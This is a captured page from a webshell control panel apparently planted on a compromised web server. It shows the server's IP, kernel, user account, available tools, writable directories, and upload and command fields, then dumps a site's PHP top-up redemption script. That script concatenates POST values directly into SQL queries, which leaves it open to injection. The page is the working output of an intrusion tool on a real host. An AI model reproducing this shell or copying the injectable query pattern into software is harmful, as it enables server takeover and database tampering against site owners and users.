403Webshell
Server IP : 64.202.187.69  /  Your IP : 216.73.217.74
Web Server : Apache
System : Linux 69.187.202.64.host.secureserver.net 3.10.0-1160.144.1.el7.tuxcare.els6.x86_64 #1 SMP Fri May 29 16:22:24 UTC 2026 x86_64
User : transmarket ( 1001)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/transmarket/translator/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/transmarket/translator/controllers/redeem_topup_tmn.php
<?php

/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

include 'connection.php';
error_reporting(E_ALL);
ini_set('display_errors', 1);

$data['status'] = 300;
$data['msg'] = 'Error while claiming. Try again.';

if (isset($_POST['tmn']) && isset($_POST['package_id'])) {

    $id = $_SESSION['tm_id'];
    $sqlT = 'SELECT * FROM `tbl_translators` WHERE id= ' . $id;
    $resultT = $mysqli->query($sqlT);
    while ($row = $resultT->fetch_object()) {        
        if($row->tmn_credits >= 1000) {
            $sqlClaim = 'select id from translator_claimed_topups where user_id = ' .  $id.' and status = 0';
            $resultClaim = $mysqli->query($sqlClaim);
            
            if($resultClaim->num_rows == 0) {
               $sql1 = 'INSERT INTO `translator_claimed_topups`(`user_id`, `claimed_credits`, `package_id`, `status`, `created_at`) VALUES 
               (' .$id . ','.$_POST['tmn'].','.$_POST['package_id'].',0,"'.date('Y-m-d H:i:s').'")';
               
               $result = $mysqli->query($sql1);
               
               $_SESSION['tm_is_topup_pending'] = 1;
    
               $data['status'] = 200;
               $data['msg'] = 'Your TMN has been claimed successfully.';
            } else{
               $data['msg'] = 'Please wait for your previous claim to clear out.';
            }
        } else{
            $data['msg'] = 'You do not have sufficient TMN to claim.';
        }
    }
}

echo json_encode($data);

Youez - 2016 - github.com/yon3zu
LinuXploit